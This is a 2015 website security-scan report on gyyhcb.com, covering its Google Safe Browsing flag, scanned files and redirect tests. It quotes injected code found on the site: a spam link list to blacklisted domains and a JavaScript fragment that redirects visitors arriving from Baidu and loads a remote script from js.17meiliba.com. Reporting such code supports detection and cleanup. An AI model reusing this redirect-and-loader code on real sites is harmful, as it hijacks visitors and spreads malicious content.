Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=gyyhcb.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.gyyhcb.com/ | HTTP/1.1 200 OK Date: Sat, 07 Mar 2015 13:59:16 GMT Accept-Ranges: bytes ETag: "166edeeac114d01:638" Server: Microsoft-IIS/6.0 Content-Length: 35473 Content-Location: http://www.gyyhcb.com/index.html Content-Type: text/html Last-Modified: Wed, 10 Dec 2014 21:40:29 GMT X-Powered-By: ASP.NET | clean |
http://www.gyyhcb.com/index.html | 200 OK Content-Length: 35473 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: dlthj.com ...[2526 bytes skipped]... om/bl2o553619/">³¬È¹«Ë¾</a> <a href="http://sinoped.net/book/" title="rtysh ÈËÌå">rtysh ÈËÌå</a> <a href="http://haiheylrq.com/web/" title="ɧ±ÆÒùÂ">ɧ±ÆÒùÂ</a> <a href="http://nchthg.com/feedback/" title="¿ì²¥ÄÜ¿´»ÆɫС˵µÄÍøÖ·">¿ì²¥ÄÜ¿´»ÆɫС˵µÄÍøÖ·</a> <a href="http://lalirmth.com/article/" title="´Ò´ÒÄÇÄêÈ«±¾Ð¡Ëµ">´Ò´ÒÄÇÄêÈ«±¾Ð¡Ëµ</a> <a href="http://dlthj.com/article/" title="ÁÖÐÄÈç×îÐÂͼƬ">ÁÖÐÄÈç×îÐÂͼƬ</a> <a href="http://tsxcl.cn/Resource/" title="Ô˶¯ÐÔ¸ÐÑÇÖÞÃÀÅ®ËزÄ">Ô˶¯ÐÔ¸ÐÑÇÖÞÃÀÅ®ËزÄ</a> <a href="http://hnttyz.com" title="ÔÀÑôÊоýɽÇø»ÝÅ©ÑøֳרҵºÏ×÷Éç">ÔÀÑôÊоýɽÇø»ÝÅ©ÑøֳרҵºÏ×÷Éç</a> <a href="http://yxkw.net" title="ҽѧÂÛÎÄÍø">ҽѧÂÛÎÄÍø</a> <a href="http://haoyoumeishi.com" title="ºÃÓÐÃÀʳ">ºÃÓÐÃÀʳ</a> <a href="http://sdyigang.com" title ...[1591 bytes skipped]... | ||
http://Js.lwtzdec.com/huishou.js | 200 OK Content-Length: 1063 Content-Type: application/x-javascript | suspicious |
Page code contains blacklisted domain: vip.hunlianyuan.com ...[596 bytes skipped]... ) > -1) { window.opener.location.href = url } else { window.opener.location.replace(url) } } }; var referer = document.referrer; if (!referer) { return }; var rst = /https?\:\/\/([^\/]+)/i.exec(referer); var host = rst ? rst[1] : 'unknown'; if (/baidu\.com$/i.test(host) && timeallow) { var search = referer.substring(referer.indexOf('?')); jump("http://vip.hunlianyuan.com/1.html"); return } })() } catch(e) {} document.write ('<script language="javascript" type="text/javascript" src="http://js.17meiliba.com/tan.js"></script>'); | ||
http://gyyhcb.com/tj.js | 200 OK Content-Length: 0 Content-Type: application/x-javascript | clean |
http://www.gyyhcb.com/test404page.js | HTTP/1.1 200 OK Date: Sat, 07 Mar 2015 13:59:21 GMT Accept-Ranges: bytes ETag: "8233217811d01:638" Server: Microsoft-IIS/6.0 Content-Length: 1578 Content-Location: http://www.gyyhcb.com/404.html?404;http://www.gyyhcb.com:80/test404page.js Content-Type: text/html Last-Modified: Sat, 15 Nov 2014 18:25:01 GMT X-Powered-By: ASP.NET | clean |
http://www.gyyhcb.com/404.html?404;http://www.gyyhcb.com:80/test404page.js | 200 OK Content-Length: 1578 Content-Type: text/html | clean |
http://www.qq.com/404/search_children.js | 200 OK Content-Length: 295 Content-Type: application/javascript | clean |
http://js.users.51.la/17453581.js | 200 OK Content-Length: 1930 Content-Type: application/x-javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: gyyhcb.com
Result:
GET / HTTP/1.1
Host: gyyhcb.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: gyyhcb.com
Referer: http://www.google.com/search?q=gyyhcb.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: gyyhcb.com
Referer: http://www.google.com/search?q=gyyhcb.com
Result:
The result is similar to the first query. There are no suspicious redirects found.